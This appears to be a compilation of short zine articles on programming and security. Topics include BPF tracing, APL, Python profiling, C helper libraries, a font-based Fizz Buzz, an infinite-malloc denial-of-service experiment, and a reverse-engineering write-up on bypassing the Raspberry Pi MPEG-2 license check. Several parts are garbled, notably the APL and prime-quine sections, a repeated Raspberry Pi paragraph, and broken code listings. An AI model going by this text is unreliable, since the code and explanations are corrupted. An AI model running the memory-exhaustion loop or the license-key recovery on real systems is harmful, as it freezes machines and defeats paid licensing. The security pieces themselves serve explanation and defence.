def chsp(sig, frame):
  global sp
  if sp:
    exit()
  print(" Starting loggin."
  sp = True

sp = False
pid = int(sys.argv[2])
signal.signal(signal.SIGINT, chsp)
b = BPF(
  text=""

#include <uapi/linux/ptrace.h>

BPF_HASH(funcs, uint64_t, int);
BPF_PERF_OUTPUT(events);

int trace_func(struct pt_regs *ctx) {
  {  
    uint64_t addr = PT_REGS_IP(ctx);
    int val = 1;
    /* Notify python that we visited new function. */
    if (funcs.lookup(&addr) == NULL) {
      events.perf_submit(ctx,  
        &addr, sizeof(addr));
    }
    /* Insert adress to the hash table. */
    {  
      funcs.insert(&addr, &val);
    }
    return 0;
  }
}
```

```bash
b.attach_uprobe(  
  name=sys.argv[1], sym_re='.\*',  
  fn_name="trace_func", pid=pid )
```

```bash
b["events"].open_perf_buffer(printe)
```

```bash
while True:
  b.perf_buffer_poll()
```

https://oshogbo.vexillium.org
Rule 30 in APL

\[
N \leftarrow (1 \ 1, \sim N) = (0, N, 0) \lor N, 0 \ 0
\]

\( \triangledown \) \( R \leftarrow R30 \ N \ 0 \) \ Try using GNU APL.

\( R \leftarrow (1 \ 1, \sim N) = (0, N, 0) \lor N, 0 \ 0 \)

\( \triangledown \ 0 \) Mind the special characters.

\( \triangledown \ L \ R30I \ R \ 0 \) count R30I pattern

\( \rightarrow \leftarrow 0 \downarrow \sim 0 \neq 0 \leftarrow L \leftarrow L-1 \leftarrow R \leftarrow (\sim \sim 1 \uparrow R) \downarrow (\sim \uparrow R) \downarrow R \leftarrow R30 \ R \leftarrow 1 \)

\( \triangledown \ 0 \) Originally published elsewhere.

Rule 30 is a simple, one-dimensional cellular automaton in which new values for cells are found with Left XOR (Current OR Right). My first attempt was to transform the bit vector thus, for transformation and use as indices into a table:

<table>
<thead>
<tr>
<th>A</th>
<th>B</th>
<th>C</th>
<th>D</th>
<th>E</th>
<th>F</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

\( N \leftarrow 1 \oplus N, 0 \ 0 \)

\( R \leftarrow (1 \ 1, \sim N) = (0, N, 0) \lor N, 0 \ 0 \)

This was too difficult for me to do. I had another failed approach that used a multi-dimensional array, although this led to the final solution. A proper set of examples will make the inner workings clear; when writing this, the logic seemed reversed to me, so I made the source explicitly reflect this and notice how R30I maintains the size as it can:

\( \frac{A}{B} C D E F \) \quad \( \frac{A}{B} C B D C D E D E F \)

\( \begin{align*}
\left(\sim 0 \ 1 \ 0 \ 1\right) & = 0 \ 0 \ 1 \ 1 \ 1 \\
0 \ 1 \ 1 \ 0 & = 0 \ 1 \ 1 \ 1 \ 0 \\
N & \leftarrow 1 \oplus N, 0 \ 0 \\
1 \ 0 \ 0 & = 1 \ 1 \ 1 \ 0 \\
0, N, 0 & = 1 \ 1, \sim N \\
0 \ 1 \ 0 & = 1 \ 1 \ 0 \ 0 \\
(0, N, 0) \lor N, 0 \ 0 & = N \leftarrow (1 \ 1, \sim N) = (0, N, 0) \lor N, 0 \ 0 \\
1 \ 1 \ 0 & = N \\
0 \ 0 \ N & \text{This is before NOT.} \\
0 \ 0 \ 1 & = 1 \ 1 \ 0 \ 0 \\
1 \ 1 \ 0 & = 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \\
1 \ 1, \sim N & \text{The ones optimize.} \\
1 \ 1 \ 0 & = 0 \ 0 \ 0 \ 0 \ 1 \ 0 \ 0 \ 0 \ 0 \\
N & \leftarrow (1 \ 1, \sim N) = (0, N, 0) \lor N, 0 \ 0 \\
1 \ 1 \ 1 & = 0 \ 0 \ 1 \ 1 \ 1 \ 1 \ 1 \ 1 \ 1 \ 0 \\
N, 0 \ 0 & = R30(R30(R30(R30(1)))) \\
1 \ 1 \ 1 \ 0 & = 1 \ 1 \ 0 \ 1 \ 1 \ 1 \ 1 \ 1 \ 1 \ 1
Python Server Profiling: A quick guide (with real data)

I improved performance issues in a Python server and survived to tell you the tale.

0) Discover your problem is performance.
This can come up via Stress testing 🏃‍♂️, User tickets 📦 or as the underlying cause of other bugs 🐍.

For us, it started with this a demo of the new version of Infection Monkey¹ that had >35 machines. The report generation was so slow, the server just died! Luckily @CyberCaffeinate² was able to recognize the situation and relay it to us.

0.5) Briefly consider re-writing in Golang.
Cry inside when you realize you’re not going to do that. Promise yourself to rethink the tech stack for the next feature. Rinse and repeat.

1) Identify the bottlenecks using PySpy³
The problem with Server profiling is that profilers measure a program from start to finish. When you run a server, it doesn’t stop, but waits for requests. Enter PySpy, which is a sampling profiler for Python. Quick start guide:

1. Run the server. Let’s say its PID is 12345
2. py-spy top --pid 12345
3. Recreate behaviour which caused problems and see which methods take most of the runtime.
4. py-spy dump --pid 12345
5. Look for the timewasters from step 4.

This is what our first run of py-spy top returned:

<table>
<thead>
<tr>
<th>Function</th>
<th>Total Calls</th>
<th>Total Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>local_ip_addresses()</td>
<td>933</td>
<td>3393.5</td>
</tr>
<tr>
<td>MongoDB calls</td>
<td>129</td>
<td>3318.0</td>
</tr>
</tbody>
</table>

So we found out we call local_ip_addresses() often, and we’re also spending time on MongoDB calls.

2) Profile the problems using Yappi⁴
Write a scratch file which only calls required initialization and calls the problematic methods. In our case, the problem only occurred with a large database, so we had to recreate that as well. “External” factors often are a part of profiling.

Now, we can profile that instead of the server using Yappi. Now we should get a performance graph and know exactly how much time each method is taking.

3) Improve performance
First, you’ll need to determine what’s the performance goal. Programs can almost always be optimized, so you need to choose when to stop working at it. For example, we thought going under 5 seconds for each report generation is OK for our needs, for now.

Usually, there are two types of performance issues: If the bottleneck is with your data, use caching (we used ring). If the bottlenecks are bad algorithms – you’ll have to improve them from a lazy $\Theta(n^4)$ to a speedy $\Theta(n^2)$.

See how we did both of those in this Pull Request⁵.

⚠️ A word of warning. You are not clever enough to improve performance without introducing a new bug:

Exception when processing system info telemetry 🏞️

So good luck with profiling! It’s fun 😊 @ShayNehmad⁶.

¹ Read more - https://infectionmonkey.com/
² https://twitter.com/CyberCaffeinate
³ https://github.com/benfred/py-spy
⁴ https://github.com/sumerc/yappi
⁵ https://github.com/guardicore/monkey/pull/447
⁶ https://twitter.com/ShayNehmad

© Shay Nehmad
SAA-ALL 0.0.5

https://twitter.com/ShayNehmad
https://github.com/ShayNehmad
ZALGO TEXT DISCORD BOT IN 17 LINES OF PYTHON

You might know that Discord is the awesome chat service that everyone’s using these days, largely supplanting the IRC of yore.

And you probably know that on Discord, just like on IRC, users can write bots to do just about anything... but did you know just how easy it is to get a bot up and running?

Writing a bot for Discord is a fun project I’d suggest to anyone! Not only can you quickly spin something up, you can immediately use it with your friends on a chat server!

Here, we’ll make a Zalgo-text bot. Zalgo text, of course, is the spooky, glitchy looking text that’s made by combining many random accent characters and diacritics above, below, and in between letters.

First, create an application [1]. After it’s made, set it as a “bot user” in the “Bot” tab. In the same tab, copy the “secret token”, as we’ll use this later.

Go to the “OAuth2” tab and select “Bot” under scopes. This will give you an invite code for your bot!

Now on to the software! The code on the right is all the code we need for a bot that responds to !zalgo (followed by some text) with a zalgo-ified version of that text:

User: !zalgo Hello, world!
Bot: ¡Hello, world!

Add the token to Bot.run() and it’s done!

Play around with this code, see what changes! We won’t get into how this particular bot does its thing, as it should be fairly simple to dissect, but let’s walk through the core concepts of building a Discord bot.

Well, the most important thing, of course, is the discord module itself

Importing commands from discord.ext makes writing commands easier. By decorating our command definitions with @bot.command, we can easily make our program look for a post with our command (the bot’s prefix followed by the function name) in any channels it belongs to.

Note that Discord.py code is asynchronous. Although asynchronous code can be complicated, most bots won’t require a great degree of complexity. Heck, the functions called inside the asynchronous functions, like zalgo_ify in the above code, don’t even need to be asynchronous themselves!

In any case, remember that asynchronous functions are declared with async def, and that they must be await-ed. They can generally only be await-ed inside asynchronous functions.

The ctx variable is an important ‘context’ object that can include a message, the author, their channel, the channel’s server, etc.

Your best friend in any discord.py projects will be the API reference [2] and the dir() function.

Good luck, Have Fun! :)

1. https://discordapp.com/developers/applications

rendello.ca
https://gitlab.com/rendello
Gaven Rendell
Public Domain
Prime quine

by Martin & Freddie

If there are infinitely many primes, then there must be some with unique and interesting properties. Consider the following one (if you are having problems copy-pasting without newlines, try "tr -ud " \' n > P.txt");

```python
import string

def isPrime(n):
    if n < 2:
        return False
    for i in range(2, int(n ** 0.5) + 1):
        if n % i == 0:
            return False
    return True

with open('P.txt', 'r') as f:
    line = f.readline()

>>> from Crypto.Util import number
>>> $ pip install pycrypto
$ #pip install pycrypto

Using Python, we can verify that it's really a (probable) prime. This prime has a nice property: it also happens to be a Python quine if hex decoded!

We will now look at some of the techniques we used, so you can also find your own interesting primes.

"DECIMAL-HEX" PYTHON

Our goal is to create a number as a final exercise for the reader. Maybe it's possible to create an x86-64 prime quine? To avoid the expansion from the string formatting, we also possible to create an x86-64 prime quine?

Together. A fragment consists of some allowed characters followed by a "

each decimal digit. So the program must be written using the decimal-hex alphabet, we can create

"MULTI-STAGE декoding" to avoid the problem of writing string formatting. We do this by using base-58 encoding the program using the decimal-hex alphabet, and then use the first newlines to write the program to define and execute a base-58 decoder.

PRIMALITY

We leave the task of making the program a prime number as a final exercise for the reader. Maybe it's also possible to create an x86-64 prime quine?
STRCASE: A practical support for Multiway branches (switch) for short strings in C.

The switch statement of the C programming language implements the multiway branch on integer values.

```c
switch(value) {
    case 1: printf("1\n"); break;
    case 2: printf("2\n"); break;
    case 3: printf("3\n"); break;
}
```

Unfortunately, switch does not support strings. So a multiway branch on strings is usually written as follows:

```c
if (strcmp(strvalue, "one") == 0)
    printf("1\n");
else if (strcmp(strvalue, "two") == 0)
    printf("2\n");
else if (strcmp(strvalue, "three") == 0)
    printf("3\n");
```

Using strcase, multipath branches on strings up to 8 characters can be programmed in a readable (and fast) way. The example here above becomes:

```c
#include <strcase.h>
...
switch(strcase(strvalue)) {
    case STRCASE(o,n,e):
        printf("1\n");
    case STRCASE(t,w,o):
        printf("2\n");
    case STRCASE(t,h,r,e,e):
        printf("3\n");
}
```

The project strcase is entirely implemented in a C header file.

- **strcase** is an inline function that encodes the string as a 64 bits unsigned integer. **strcase_tolower** converts uppercase letters to lowercase before computing its corresponding integer value.
- **STRCASE** is a C preprocessor macro that converts the argument(s) in a 64 bits integer constant at compile time using the same algorithm of **strcase**.

STRCASE argument cannot be provided as a string as the preprocessor doesn’t support (yet?) a way to loop over all the characters of a string. The string must be provided char by char, using commas. The result is still readable and it is easy to add cases or change the tags.

- **strcase** is fast (faster than using `strcmp`). There is only one linear scan of the string at run time (done by **strcase** to translate the string to an integer value). The switch statement compares the result of **strcase** with integer constants computed at compile-time.
- **strcase** is endianness neutral. Constants generated by **STRCASE** can be exchanged between machines having different endianess.
- **strcase** maps strings composed by a single character to the ascii value of the character itself **STRCASE**(a) == 'a'.
- For strings 8 characters long or more, **strcase** and **STRCASE** convert the first 8 characters. All strings having the same 8 characters prefix are converted to the same integer value.

- alphanumerical characters and underscore (_) can be used in **STRCASE**. Other symbols can be inserted using their name, e.g. **STRCASE**(slash, e, t, c, slash) or **STRCASE**(a, comma, b, comma, c).
- **strcase** is a practical alternative to the deprecated multi-char constants.

An example:

```c
#include <stdio.h>
#include <strcase.h>
int yes_or_not(const char *s) {
    switch (strcase_tolower(s)) {
        case STRCASE(y,e,s):
            return 1;
        case STRCASE(n):
            return 0;
        default:
            return -1;
    }
}
```

The trick

**strcase** and **strcase_tolower** are simple inline functions while **STRCASE** macro has been implemented as follows:

```c
#define __STRCASE_ASCII(...) __STRCASE(__VA_ARGS__ , \ 
    (uint64_t)__STRCASE_ASCII_ ## X) \ 
    ((__STRCASE_ASCII(a)<<16)+ \ 
    ((__STRCASE_ASCII(b)<<24)+ \ 
    ((__STRCASE_ASCII(c)<<32)+ \ 
    ((__STRCASE_ASCII(d)<<40)+ \ 
    ((__STRCASE_ASCII(e)<<48)+ \ 
    ((__STRCASE_ASCII(f)<<56)))
#define __STRCASE(...) __STRCASE(__VA_ARGS__ , \ 
    END, END, END, END, END, END, END, END)
```

**STRCASE** calls **__STRCASE** adding 8 dummy END parameters. **__STRCASE** computes the integer value. It calls **__STRCASE_ASCII** on the first 8 arguments, shifting and summing the results as requested. **__STRCASE_ASCII** computes the name of the constant to use by juxtaposing the string constant **__STRCASE_ASCII** and the name of the argument. So **__STRCASE_ASCII**(a) is **__STRCASE_ASCII** a, alias 'a' i.e. 0x61, 97 for the humans. **__STRCASE_ASCII_END** is zero.
execs: the missing exec functions in POSIX

execve(2) system call has a number of helper functions giving users many options to specify the command line args. (e.g. execl, execlp, execle, execv, execvp, execve...). A way to specify the args as one string is missing (I mean, as arguments are commonly provided when typing a command using a shell). More precisely, it was missing, because the library s2argv=execs has filled the gap.

The flavours of execs follow the same naming convention of the other exec functions:

```c
int execs(const char *path, const char *args);
int execse(const char *path, const char *args, const char *envp[]);
int execspe(const char *path, const char *argv);
int execspe(const char *args, char *argv);
```

There is the need for execs because:

- otherwise programmers use the unsafe system(3)
- or (even worse) use fork/exec of /bin/ssh -c "...
- wise programmers must survive code wrestling using strtok(3).

Notes:

- Command arguments in args are delimited by space characters (blank, tabs or new lines). Single or double quotes can be used to delimitate command arguments including spaces and a non quoted backslash (\) is the escape character to protect the next char.
- execsp does not need any pathname, it uses argv[0] as parsed from args.
- args is const, i.e. exec* functions do not modify it.
- exec* functions do not use dynamic allocation (allocate memory on the stack)
- exec* functions are thread safe
- the library provides also exec functions (using less memory, but modifying args)
- for lazy programmers, the library includes drop-in replacements for system(3) and popen(3) (named system_nosh and popen_nosh respectively) using execs instead of starting a shell.

Example

The following program shows how to use execs:

```c
#include <stdio.h>
#include <unistd.h>
#include <execs.h>

#define BUFLEN 1024

int main(int argc, char *argv)
{
    char buf[BUFLEN];
    printf("type in a command and its arguments, "
           "e.g. 'ls -l\n'\n");
    if (fgets(buf, BUFLEN, stdin) != NULL) {
        execs(buf);
        printf("exec error\n");
    }
    return 0;
}
```

A minimal shell can be written in a few lines of C source code:

```c
#include <stdio.h>
#include <unistd.h>
#include <execs.h>

void showprompt(void)
{
    printf("$ ");
    fflush(stdout);
}

int main(int argc, char *argv)
{
    char *buf = NULL;
    size_t buflen = 0;
    while (showprompt(),
           getline(buf, &buflen, stdin) >= 0) {
        system_nosh(buf);
    }
    return 0;
}
```

Much more

The library includes a number of other features:

- execs functions do not use dynamic allocated memory, they allocate a copy of the args string on the stack. The library provides a set of execs functions for low stack usage (e.g. embedded systems). These latter functions (execs, execse, execspe, execspe) do not allocate extra copies on the stack (but if a call fails the original content of args is lost).
- s2argv converts string into a dynamically allocated argv array. s2argv can be used to parse once the arguments when the same command must be executed several times. s2argv can parse in a single call a sequence of semicolon (;) separated commands
- the library provides also entire families of functions for system (system_execs, system_execse, system_execspe, system_execspe) and for coproc (coproc_execsp, coproc_execspe, coproc, coprocve, coprocve, coprocs, coprocspe). coproc stands for coprocessing: it is like popen using two pipes to redirect both stdin and stdout.
- whatever is the function used to parse the string of arguments, an argument of the form $VAR_NAME (e.g. $USER) is converted to the value of the variable (USER in the example). A programmer can define the name to value conversion by assigning the variable s2argv_getvar. For example if the code includes s2argv_getvar = getenv, the library uses the environment variables. For security reasons, the default value for s2argv_getvar is getenv_null which always returns an empty string.

The interested reader can refer to the man pages and to the docs in the source repository for further details.

Availability

libexecs is available in Debian since Buster
NLINLINE: network configuration must be simple, inlined and via netlink

**nlinline** is a *library* (one header file) providing a simple API to perform the most important configuration actions using netlink:

- set an interface up and down
- add/delete IPv4/IPv6 addresses
- add/delete IPv4/IPv6 routes

There is the need of a *library* like **nlinline**:

- because there is not a standard API for network configuration (*netdevice(3)* is obsolete!).
- because the standard family of protocols to configure the net is *de-facto* netlink. *ip(8)* uses netlink.
- because many programs fork/exec *ip(8)* to configure networking
- because some programs use *system(3)* or *fork/exec ‘/bin/sh -c ip …’*, and this is even worse
- *libnl* is poorly documented, quite complex and generates run-time lib dependencies

**nlinline** is a minimal library. It depends at compile time only on the the linux glibc headers (*linux-libc-dev*). It has no run-time dependencies.

The interface is straightforward (addresses are *void* ∗: any sequence of bytes in network byte order fits):

```c
#include <nlinline.h>

int nlinline_if_nametoindex(const char *ifname);
int nlinline_linksetupdown(unsigned int ifindex, int updown);
int nlinline_ipaddr_add(int family, void *addr, int prefixlen, int ifindex);
int nlinline_ipaddr_del(int family, void *addr, int prefixlen, int ifindex);
int nlinline_iproute_add(int family, void *dst_addr, int dst_prefixlen, void *gw_addr);
int nlinline_iproute_del(int family, void *dst_addr, int dst_prefixlen, void *gw_addr);
```

**Example**

This program takes the name of an interface from the command line. It turns that interface up and sets the interface IPv4 and IPv6 addresses and default routes.

```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <nlinline.h>

int main(int argc, char *argv[]) {
    uint8_t ipv4addr[] = {192,168,2,2};
    uint8_t ipv4gw[] = {192,168,2,1};
    uint8_t ipv6addr[16] = {0x20, 0x01, 0x07, 0x60, [15] = 0x02};
    uint8_t ipv6gw[16] = {0x20, 0x01, 0x07, 0x60, [15] = 0x01};

    int ifindex = nlinline_if_nametoindex(argv[1]);
    if (ifindex > 0)
        printf("%d\n", ifindex);
    else {
        perror("nametoindex");
        return 1;
    }

    if (nlinline_linksetupdown(ifindex, 1) < 0)
        perror("link up");
    if (nlinline_ipaddr_add(AF_INET, ipv4addr, 24, ifindex) < 0)
        perror("addr ipv4");
    if (nlinline_iproute_add(AF_INET, NULL, 0, ipv4gw) < 0)
        perror("addr ipv6");
    if (nlinline_ipaddr_add(AF_INET6, ipv6addr, 64, ifindex) < 0)
        perror("route ipv4");
    if (nlinline_iproute_add(AF_INET6, NULL, 0, ipv6gw) < 0)
        perror("route ipv6");
    return 0;
}
```
Is that "Commando" you're listening to in the background?

If we're anyway going down the path of nostalgia, let's do it properly.

... and if you want your kid back, then you gotta cooperate. Right?!

Wrong!
Draw over screen

Some time ago I wanted to draw an image exactly on the screen. Not into a window, but on the screen itself. I couldn’t find any tool for that, so I created it by myself, using Python. It works very slowly, but it does what I needed it to do. I used pywin32, numpy and PIL libraries. The full code is shown below:

```python
import sys, os, time, ctypes, random, win32gui, win32api, numpy as np
from win32api import GetSystemMetrics; from PIL import Image

def circle_array(rad):
    a = b = rad; n = rad*2 + 1
    y, x = np.ogrid[-a:n-a, -b:n-b]
    mask = x**2 + y**2 <= rad**2
    circle = np.zeros((n,n)); circle[mask] = 1
    pts = np.where(circle > 0)
    return tuple(zip(pts[0]-rad, pts[1]-rad))

def bot_pos(shape):
    y_pos, x_pos = (0, 0)
    img_h, img_w = shape[2]
    scr_w = GetSystemMetrics(0)
    scr_h = GetSystemMetrics(1)
    if scr_h > img_h: y_pos = scr_h - img_h
    if scr_w > img_w: x_pos = (scr_w - img_w)/2
    return (x_pos, y_pos)

def draw_over_screen(color=(50, 255, 50), random_color=True):
    print('>> use scroll lock, to start/stop
~drawing\> use numpad +/- to resize circle")
    dc = win32gui.GetDC(); rad = 10
    draw_color = win32api.RGB(color)
    hll_dll = ctypes.WinDLL("User32.dll")
    last = time.time()
    values = (-127, -128, 65408, 65409)
    while True:
        pos_x, pos_y = win32gui.GetCursorPos()
        add_key = hll_dll.GetKeyState(0x6b)
        sub_key = hll_dll.GetKeyState(0x6d)
        now = time.time(); cnd = (now - last)>0.05
        if add_key in values and sub_key in values:
            rad = 1; last = now
        if add_key in values and cnd:
            rad = 1; last = now
        if rad < 2: rad = 2
        if rad > 40: rad = 40
        circle_points = circle_array(rad)
        positions = tuple([(pos_x + item[0], pos_y + item[1]) for item in circle_points])
    key_state = hll_dll.GetKeyState(0x91)
    if key_state == 1:
        for x, y in positions:
            try: win32gui.SetPixel(dc, x, y, draw_color)
            except: pass

    if random_color: draw_color =
    win32api.RGB([random.randrange(256) for _ in range(3)])
    return True

def draw_image(img, start_pos=(200, 200), bottom=False):
    if bottom: start_pos = bot_pos(img.shape)
    y_size, x_size = img.shape[:2]
    dc = win32gui.GetDC();
    for level in range(y_size):
        vector = img[level]
        for key, p in enumerate(vector):
            draw_color = win32api.RGB(p[:3])
            if len(p) == 4 and (not p[3]):
                continue
    try: win32gui.SetPixel(dc, key=start_pos[0], level=start_pos[1], draw_color)
    except: continue
    print(">> drawing finished")
    return True

if __name__ == "__main__":
    script_file = os.path.dirname(sys.argv[0])
    os.chdir(os.path.realpath(script_file))
    img = Image.open("circle.png", mode=’r’)
    img = np.array(img.convert(‘RGBA’))
    draw_image(img, (200, 200), False)
    draw_over_screen((50, 255, 50), True)
```

Let’s see how the code works. The script lets us draw an image, as well as to draw circles with mouse cursor. To draw an image, we need to read a specified image file to `img` variable. Then we pass it to `draw_image` function with specified `start_pos`. Image is drawn pixel by pixel, that’s why it takes so much time. After the drawing is finished, `draw_over_screen` function starts running. Instructions of usage are printed on the console.

Few important things about the application:
- image or circles will disappear as soon as the given part of the screen is redrawn
- application supports only standard DPI
- application will run only on Windows

Feel free to modify the code for your needs. Have a fun!

https://github.com/streanger
What If - We tried to malloc infinitely?

Have you ever wondered what might happen if you tried to allocate infinite memory with malloc in C on Linux? Let’s find out.

**DISCLAIMER:** This experiment can be harmful to your system. Run it only in a virtual machine or on a computer dedicated to testing!

1 Proof of concept

In order to investigate our idea, here is a simple

```c
#include <stdlib.h>
#include <stdio.h>

int main() {
    long long int k = 0;
    while (1) {
        // Allocates new memory
        char * mem = malloc(1000000);
        k += 1;
        // Use the allocated memory
        // to prevent optimization
        // of the page
        mem[0] = '\0';
        printf("Allocated %lld", k);
    }
    return 0;
}
```

We can now compile it and run it. The first time I ran this, my computer crashed. I ran it a second time with htop running on the same machine, in order to track how much virtual memory we were able to allocate:

1863 dev 20 0 858K 6272K 18B 418K 5 16.7 9.6 0:00.61
12756 root 20 0 1042K 1680 2000 0 7.1 0.8 0.00.77
1064 root 20 0 1680K 5272K 310B 5 6.7 1.2 13.94
5235 dev 20 0 3861K 3833K 3352 0 6.7 0.1 0.00.79
1407 dev 20 0 5120K 2660 10144 5 6.7 0.3 0.00.24

Wow, 745 GB of virtual memory! That is more than the sum of capacities of my RAM and my hard drive! So, what is going on here?

2 What is happening?

At first, our new allocated memory pages are created directly in RAM as long as there is enough space. At some point we will run out of space in RAM, so the last recently used pages (LRU Algorithm) will be moved to the swap, located onto hard disk in order to be able to write the new allocated pages to RAM. Our allocated virtual memory is now bigger than the RAM, this is called memory overcommit. It raises two problems:

- Firstly, our program creates pages at extremely fast speed in the virtual memory address space.
- Secondly, writing something to hard disk is extremely slow compared to writing to RAM. New pages to write to disk are pushed into an asynchronous queue waiting for the disk to write them.

Here is a scheme of the blocking configuration:

![Virtual Memory Diagram](https://github.com/0xPODA/what-if)

After a few seconds, there is so much pages to move to disk that the operating system will freeze waiting for the disk to write them. This creates a denial of service!

3 Protections

Fortunately, there are ways to prevent this kind of attacks/bugs. You can use ulimits\(^2\) or cgroups\(^3\) to set the maximum amount of virtual memory that a process can allocate.

You can view the currently set limit with `ulimit -a` (on most systems, it is `unlimited` by default).

You can set the maximum amount of virtual memory with `ulimit -v`. `ulimit -v` takes a value in KiB, while `malloc()` takes it in bytes. Be careful of what you do though, if do a `ulimit -v 1` a lot of things will break due to failed memory allocations (such as `sudo`, `ulimit`, ...!)

Conclusion

We have seen that an infinite loop of `malloc` can create a denial of service by freezing the computer. In order to protect a system from such attacks or program bugs, one can set the maximum amount of virtual memory through `ulimit -v VALUE` or cgroups.

This article, source code and explanation can be found on open access at:

```
https://github.com/0xPODA/what-if
```

\(^1\)`https://www.win.tue.nl/~aeb/linux/lk/lk-9.html#ss9.6
\(^2\)`http://man7.org/linux/man-pages/man1/ulimit.1p.html
\(^3\)`http://man7.org/linux/man-pages/man7/cgroups.7.html

---

**Poda**

CC BY-ND 4.0
Spooky Fizz Buzz is a unique implementation of Fizz Buzz published around Halloween 2019 and available at quaxio.com/spooky_fizz_buzz/.

This article explains how Spooky Fizz Buzz works, so spoilers alert!

Fizz Buzz is a “game” which goes as follows: count incrementally, replacing any number divisible by three with the word “fizz”, and any number divisible by five with the word “buzz”. Numbers divisible by both, three and five, are replaced by “fizzbuzz”. You can play this game with children, taking turns counting. You may also play a variation, using multiples of seven and numbers which contain one or more sevens, as a drinking game. Bizarrely, some technology companies have used Fizz Buzz as an interview question — in a manner analogous to testing a pilot’s ability to fly a plane by asking them to drive a car around an empty parking lot.

Fizz Buzz has attracted some very creative and comical solutions, including an Enterprise Edition¹, implementing many layers of unnecessary abstractions not unlike some large enterprise codebases.

Spooky Fizz Buzz simply prints numbers from one to infinity (and beyond). Something takes care of rendering “fizz” and “buzz”.

The magic happens in the spooky.otf font, which contains specially crafted instructions. Font files typically support instructions for ligature purpose (such as ffi becoming ffi) and complex rendering needs for non-latin languages.

Instructions within the font file are encoded using replacement tables. E.g. 1 can be replaced with 1X and then trigger additional replacements. The instructions are theoretically Turing Complete² but real world rendering engines have strict limitations, such as only six levels of recursion. We have to keep these limitations in mind if we want Spooky Fizz Buzz to work on everyone’s systems.

Spooky Fizz Buzz uses seven³ tables and AZQWERTY are used as placeholders to propagate state. In the final font, capital letters have been made invisible.

Let’s go over these seven replacement tables.

The first table replaces [0-9] with “A” [0-9] “Z”. A number, such as 123 becomes A1Z A2Z A3Z (spaces added for legibility reasons). The second table drops any ZA. The combination of these first two tables results in start and end word markers: 123 becomes A 1 Z.

The third table starts a domino effect by appending “Q” to “A” [036], “W” to “A” [147], and “E” to “A” [258]. Our previous A 1 Z becomes A W 2 Z. We are using a 3-state machine (leveraging letters Q, W, E) to compute divisibility by three — using the property that divisibility by three is equivalent to the sum (modulo 3) of each digit being 0. The fourth table continues the domino effect — our example, 123, ends up becoming A W 2 Z 3 Z.

The fifth table handles the ending of the domino effect and helps decide if “fizzbuzz”, “fizz”, or “buzz” needs to be rendered. Since our string now ends in 3QZ, we are going to display “fizz”. Divisibility by five is deduced by checking if the last digit is a zero or a five.⁴

The sixth table takes care of replacing digits with invisible capitals when “fizzbuzz”, “fizz”, or “buzz” is being rendered. This table processes the string in reverse order (right-to-left). Finally, the last table replaces temporary markers with “fizz”, “buzz”, and “fizzbuzz”.

Can fonts be malicious? What if a font occasionally alters what is rendered — replacing one word with another but only in rare occurrences, or detecting and altering medical dosages, financial information, etc.

The source code to inspect and build Spooky Fizz Buzz is available under a permissive license⁵. Many thanks to Tristan Hume for their inspirational work Numderline⁶ and Litherum for their blog post.

¹ github.com/EnterpriseQualityCoding/FizzBuzzEnterpriseEdition
² litherum.blogspot.com/2019/03/addition-font.html
³ Spooky Fizz Buzz was not designed to be minimal.
⁴ Enlightened readers will want to prove both divisibility properties.
⁵ github.com/alokmenghrajani/spooky-fizz-buzz
⁶ blog.janestreet.com/commas-in-big-numbers-everywhere/
A look inside Raspberry Pi hardware decoders licenses

Introduction
The Raspberry Pi is a wonderful machine for a wide range of uses. Its hardware is able to decode MPEG-2 videos, but for cost reduction reasons, this feature is disabled by default and requires to purchase a license to be able to use it. A website allows you to do so, you just have to give it your SoC serial number which can be found in /proc/cpuinfo.

This license simply consists of a 32-bits value which has to be put in the /boot/config.txt file:

```
decode_MPG2=0xaabbccdd
```

Given this information, let’s dig into Raspberry Pi internals to see how the licensing mechanism is implemented.

Who checks the license?
The Raspberry Pi documentation indicates that the config.txt file is handled by the code running on the GPU. This code is closed-source, provided by the Raspberry Pi Foundation on their GitHub repository as start*.elf files. The architecture is Broadcom VideoCore IV, and a third-party IDA plugin from Herman Hermitage is available to handle it.

VCE IP
Looking at the error strings and googling around the addresses indicate that the two data blobs are in fact code and data, which are loaded in a co-processor called VCE (video control engine).

Given this information, let’s dig into Raspberry Pi internals to see how the licensing mechanism is implemented.

A look at the verification routine
Long story short, the GPU code registers handlers for every command supported by vgcencmd.

A look at the verification routine
Long story short, the GPU code registers handlers for every command supported by vgcencmd.

2 https://github.com/hermanhermitage/videocoreiv

When looking at the codec_enabled handler from an old start_db.elf (“_db” implies the debug version), one will stumble across a function named codec_license_hash taking as arguments the SoC serial number and the codec name, which return value is then compared to the license grabbed from config.txt. However, when looking at the function code, there is no kind of cryptographic computation, the code just stores the arguments as well as 2 data blobs using hard-coded memory addresses, and finally grabs the return value from another hard-coded memory address.

VCE IP
Looking at the error strings and googling around the addresses indicate that the two data blobs are in fact code and data, which are loaded in a co-processor called VCE (video control engine). The workflow is:

- Load Program (0x12c bytes)
- Load Data (0x100 bytes)
- Set R3 to 0
- Set R1 to serial number
- Set R2 to codec name XORed with a magic value
- Run Program, wait on status register change
- Get result from R2

No documentation seems available regarding VCE architecture, and the instructions encoding does not look like something known (from the author’s point of view :)), which makes the license derivation algorithm hard to understand.

However, before the function epilog, several values are written in memory:

```
store_values:
  ; CODE
  st r9, ADDR_SERIAL(gp) ;
  st r8, ADDR_CODEC(gp) ; X
  stb r6, ADDR_FLAG(gp) ; XR
  st r10, ADDR_Goudlic(gp)
end:
  ; CODE
  mov r8, r10
  lea sp, 0x38(sp)
  ldnt r6-r16, pc, (sp++)
```

Here, the registers hold the following values:
- r9: SoC serial number
- r8: codec name (e.g. MPG2 in hex)
- r6: a flag set to 0
- r10: the computed license value

In the end, asking for a license check makes the GPU compute the correct value and store it in its memory! Being able to retrieve this value gives the correct license key for a given device, which breaks the protection.

Here comes the fix
This weakness has been fixed a few months/years ago, and the comparison between the computed license and the provided one is now performed directly in the VCE: R2 now contains a boolean value in the end of the Program execution.

As a conclusion, an even better protection would have been to perform all the checks in the silicon itself, without loading a program, as it could be reverse engineered given enough efforts.

Fabien Perigaud - @Synacktiv
SAA-ALL 0.0.5

https://twitter.com/0xf4b
https://www.synacktiv.com
Ret-To-Python or How to solve Flare-On 6 wopr

1 Introduction

